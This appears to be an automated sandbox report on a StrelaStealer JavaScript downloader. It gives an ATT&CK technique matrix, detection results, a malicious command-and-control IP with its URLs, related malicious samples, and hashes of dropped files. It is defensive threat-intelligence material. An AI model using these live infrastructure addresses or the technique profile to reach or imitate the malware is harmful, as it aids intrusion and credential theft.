Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1297823757234143258.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://schemas.microsoft.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000002.1389460410.0000023B22F1A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.microsoft.	svchost.exe, 00000009.00000002.2620756047.000001AA1C654000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2620675399.000001AA1C600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1389460410.0000023B22EFA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.1389460410.0000023B22EC8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1391253654.000001AA1C420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588620
Start date and time:	2025-01-11 03:15:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1297823757234143258.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.6.155.20, 20.109.210.53, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1297823757234143258.js

Simulations

Behavior and APIs

Time	Type	Description
21:16:38	API Interceptor	25x Sleep call for process: powershell.exe modified
21:16:42	API Interceptor	1x Sleep call for process: net.exe modified
21:16:42	API Interceptor	2x Sleep call for process: svchost.exe modified
21:16:50	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	4N4nldx1wW.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	5by4QM3v89.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	uEuTtkxAqq.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	CGk5FtIq0N.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	wOBmA8bj8d.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	KtPCqWWnqM.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	kQibsaGS2E.exe	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807460889759685
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9d:0J7adfWuK0p/QDfKoPeuP0aN4fqoxy
MD5:	517F45509EFC33C730B4F59292D94A46
SHA1:	C5BA68A9A91F8EDE0E82B8D4635BAAE32ADEAE92
SHA-256:	80E50B279D3DAC3227D53546611A47442D3A4A31182C5A48536EDDF2F890F8F4
SHA-512:	376D17FDF45B236E54C4FDE56056DAC0E853D63B4D1304836F30473BF90B5978C2D4C81522B3E292C3448AD967B6ABDC0FB6468DF6E660964D1BC017C0BE01E3
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x82994840, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880445153654165
Encrypted:	false
SSDEEP:	1536:vSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:vazaPv4V4fXq2UaB
MD5:	FA5BAC209EE52A27659121BF5318A30D
SHA1:	5EA38FC5E08398FDD28ED86F2BF0AC4134D1580C
SHA-256:	3B0F7AE3E22B5D52C958BDDF41178FCC3A98BF8C6A4C67F2AC3841D420BD84EE
SHA-512:	C2A1DF4CA8099C1BAD142FC81AF734ED903C77ECC50E444E47413C1A093D57CEC36F9011E435E89C0437AC382195402BE3B52F6F04D1C99D3588DF1084347CD1
Malicious:	false
Preview:	..H@... ...............X\...;...{......................X............{......}E.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..........................................}e:...................j*....}e..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08052208447025815
Encrypted:	false
SSDEEP:	3:AtyYe4trtFv1XlVG0+q2Iqe8lqvPNukt4llNTt/4ll/Q6beV/:AyzqB7GE8lqXNumoHtc6V
MD5:	C36A6A584FCE327BFAB2DDE221C91CCF
SHA1:	2D84AF9CEE336D1C055C3B7B94E7104F62C6B1DF
SHA-256:	B1017C77B9F174E8A1A3624E26C9A07B2D551BC64672EF180326BEDF3CE2BA14
SHA-512:	C49731A339BC96966DF303E473BDF3C71E2514C4446E77D887C9956719B25900CBE39E89E56A5202DE3A0B053F900051129779CE0424984E4830AF26CC97F3E1
Malicious:	false
Preview:	.ZV......................................;...{......}e......{...............{.......{....:......{....................j....}e.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.1579030999864734
Encrypted:	false
SSDEEP:	6:iO4qeSQyq2PFi2nKuAl9OmbnIFUtSqcvAG1ZmwsqcvAQRkwOFi2nKuAl9OmbjLJ:74jyvdZHAahFUtCJ/U1R5wZHAaSJ
MD5:	81FE776DBA2B83AE52E886647315C3AF
SHA1:	BE9399BCE7388A7F1B5ED78D00986FC900A495A8
SHA-256:	11DF8B1AB3F222ECD9E2D7EB6C1950C66669C46660173C47395457D7A50F4ABA
SHA-512:	7AA2DFC110F21878EC2FBF1EFC297D722DCFA43A8B34EB0BFE2C7F2A08BFB8D5C993E55F789C23D7ED39F3B40FA7D5CB85CD4F9713A1C96A00F976D63E1B5BA1
Malicious:	false
Preview:	2025/01/10-21:16:42.202 690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:16:42.204 690 Recovering log #3.2025/01/10-21:16:42.204 690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.1579030999864734
Encrypted:	false
SSDEEP:	6:iO4qeSQyq2PFi2nKuAl9OmbnIFUtSqcvAG1ZmwsqcvAQRkwOFi2nKuAl9OmbjLJ:74jyvdZHAahFUtCJ/U1R5wZHAaSJ
MD5:	81FE776DBA2B83AE52E886647315C3AF
SHA1:	BE9399BCE7388A7F1B5ED78D00986FC900A495A8
SHA-256:	11DF8B1AB3F222ECD9E2D7EB6C1950C66669C46660173C47395457D7A50F4ABA
SHA-512:	7AA2DFC110F21878EC2FBF1EFC297D722DCFA43A8B34EB0BFE2C7F2A08BFB8D5C993E55F789C23D7ED39F3B40FA7D5CB85CD4F9713A1C96A00F976D63E1B5BA1
Malicious:	false
Preview:	2025/01/10-21:16:42.202 690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:16:42.204 690 Recovering log #3.2025/01/10-21:16:42.204 690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.169279154988006
Encrypted:	false
SSDEEP:	6:iO4q/qM+q2PFi2nKuAl9Ombzo2jMGIFUtSqcZZmwsq+b1MVkwOFi2nKuAl9Ombzz:7ZqM+vdZHAa8uFUtIZ/8pMV5wZHAa8RJ
MD5:	8B098A8B5A2CD446A6253449DB2A93AA
SHA1:	DFADA980D0FC6D67D905296F2CE51CE8AB858B7F
SHA-256:	7B31BFBC8B4767240C8CCBECBEE9FFB0E43C0E9E362097A2933720DF30E7D0D1
SHA-512:	7F539649C2ED691FD0BF6B8FDFB0FFA86993E27B09DF7D90274273CABD62B46D687C973738F91569E6EDA7F35386BEDFB3BFDA346FF53DADBB5C68649D5A6C70
Malicious:	false
Preview:	2025/01/10-21:16:42.318 1dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:16:42.319 1dfc Recovering log #3.2025/01/10-21:16:42.321 1dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.169279154988006
Encrypted:	false
SSDEEP:	6:iO4q/qM+q2PFi2nKuAl9Ombzo2jMGIFUtSqcZZmwsq+b1MVkwOFi2nKuAl9Ombzz:7ZqM+vdZHAa8uFUtIZ/8pMV5wZHAa8RJ
MD5:	8B098A8B5A2CD446A6253449DB2A93AA
SHA1:	DFADA980D0FC6D67D905296F2CE51CE8AB858B7F
SHA-256:	7B31BFBC8B4767240C8CCBECBEE9FFB0E43C0E9E362097A2933720DF30E7D0D1
SHA-512:	7F539649C2ED691FD0BF6B8FDFB0FFA86993E27B09DF7D90274273CABD62B46D687C973738F91569E6EDA7F35386BEDFB3BFDA346FF53DADBB5C68649D5A6C70
Malicious:	false
Preview:	2025/01/10-21:16:42.318 1dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:16:42.319 1dfc Recovering log #3.2025/01/10-21:16:42.321 1dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962276170981364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYSsBdOg2Hr2caq3QYiubpP7E4T3y:Y2sRds7XdMHrJ3QYhbd7nby
MD5:	61927B7367AB73F430DEB14A885D5F1E
SHA1:	B9186CEF8D7A184D626E082B1BD77F947194A6A5
SHA-256:	276641500EC663DDC70D0646C9F126DBC1467B9F05E1DE7D9B500FFA6FF016B4
SHA-512:	265C6D59A0FA589C590CA195A9286EBF5A7360DFF666077449A541B0FD195A8C970E1375867623F32D7ADC6803B75D2704F76B1A17F4B6DA507191EFF23AB9AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121814301899","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125066},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c6fc3bf8-74d8-4d9c-a1a0-4a1549757295.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.962276170981364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYSsBdOg2Hr2caq3QYiubpP7E4T3y:Y2sRds7XdMHrJ3QYhbd7nby
MD5:	61927B7367AB73F430DEB14A885D5F1E
SHA1:	B9186CEF8D7A184D626E082B1BD77F947194A6A5
SHA-256:	276641500EC663DDC70D0646C9F126DBC1467B9F05E1DE7D9B500FFA6FF016B4
SHA-512:	265C6D59A0FA589C590CA195A9286EBF5A7360DFF666077449A541B0FD195A8C970E1375867623F32D7ADC6803B75D2704F76B1A17F4B6DA507191EFF23AB9AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121814301899","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125066},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232140616510399
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVANrou:wshFT0h7cZb2EVKZPEANcGIK5EVANMu
MD5:	EC49DA23FA45352B6C71FBD1D188BBDB
SHA1:	AAD85320876485BFCA357F94BE36BDA8562565B8
SHA-256:	A811351746F86C115A5B77D0185D021195F69ECBE1B41ED55A2C9B6CC67F8C52
SHA-512:	2813CCC9103CB3C9AF55C006DD4545B8D3843AD07B396952A38F5FFEB920CCAC1A902F8FCFE5FC4A3A23CB77FD42EEC5D34CCC1D043707EE52452AE3E93169BD
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.19628623172322
Encrypted:	false
SSDEEP:	6:iO4q431M+q2PFi2nKuAl9OmbzNMxIFUtSqfZZmwsqJMVkwOFi2nKuAl9OmbzNMFd:7KM+vdZHAa8jFUtN/7MV5wZHAa84J
MD5:	26785BDCBF0EA05C05F45381AB04F2E6
SHA1:	7E9028FE914987327715F030FEE81F4CC09BA1E2
SHA-256:	105E38F3408EF58FD847D7B9740D8BE57F041D0D8BE7CF29774D02595A4A8C1E
SHA-512:	8D3CEAA66A78FCF4E1F8ADE3C1E1C75EB33F3B6DDD9BC8010847B38C413E583DCA9E1DCEBA4487823DEB00A16A97E48B2A6D14A3A20DD62CFFBDB7DFE8049F61
Malicious:	false
Preview:	2025/01/10-21:16:42.785 1dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:16:42.806 1dfc Recovering log #3.2025/01/10-21:16:42.810 1dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.19628623172322
Encrypted:	false
SSDEEP:	6:iO4q431M+q2PFi2nKuAl9OmbzNMxIFUtSqfZZmwsqJMVkwOFi2nKuAl9OmbzNMFd:7KM+vdZHAa8jFUtN/7MV5wZHAa84J
MD5:	26785BDCBF0EA05C05F45381AB04F2E6
SHA1:	7E9028FE914987327715F030FEE81F4CC09BA1E2
SHA-256:	105E38F3408EF58FD847D7B9740D8BE57F041D0D8BE7CF29774D02595A4A8C1E
SHA-512:	8D3CEAA66A78FCF4E1F8ADE3C1E1C75EB33F3B6DDD9BC8010847B38C413E583DCA9E1DCEBA4487823DEB00A16A97E48B2A6D14A3A20DD62CFFBDB7DFE8049F61
Malicious:	false
Preview:	2025/01/10-21:16:42.785 1dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:16:42.806 1dfc Recovering log #3.2025/01/10-21:16:42.810 1dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438728578609485
Encrypted:	false
SSDEEP:	384:yejci5GCiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0yurVgazUpUTTGt
MD5:	A4BD91DD34442FE011E6634AE223C371
SHA1:	D743B45F36F655611E5AF7BEA33D151B3C5015F7
SHA-256:	5CBFBD73747673D59F0465DEE11F2D314BD1D389185400EDDDAEF4609C18EBC3
SHA-512:	5F602AE9D746D7CDD73D6B740D5C2E1B9AFD858E4B9B157D610DC6A3DDB27A98FA00070156738189D4E6432C871F8AB4E78BAB172B3BE9776BAE2F8FF0A6E5BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7765556832410327
Encrypted:	false
SSDEEP:	48:7Mxp/E2ioyVVioy5oWoy1CUoy1ZKOioy1noy1AYoy1Wioy1hioybioy9oy1noy1h:76pjuVJwXKQEwb9IVXEBodRBkQ
MD5:	E3D5F30DA865B09E8129365E38F2EAB9
SHA1:	F0FE98FDB51CFDDBE648F2BF7E9D52B5172913CD
SHA-256:	1DEA83A0618B05FFE6051BC4C864EEC2B9418BAE2CC7668EBDD23D7C336E9BA6
SHA-512:	1BDADD4B409DD6C8931083504DE79C8DE7454273CA62C256F03E078484BDB6CB09A2167784F4D6DBD4359D0225320165C4EAC234E1BFEB2CE39158F4BE99EFD2
Malicious:	false
Preview:	.... .c.....".!...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
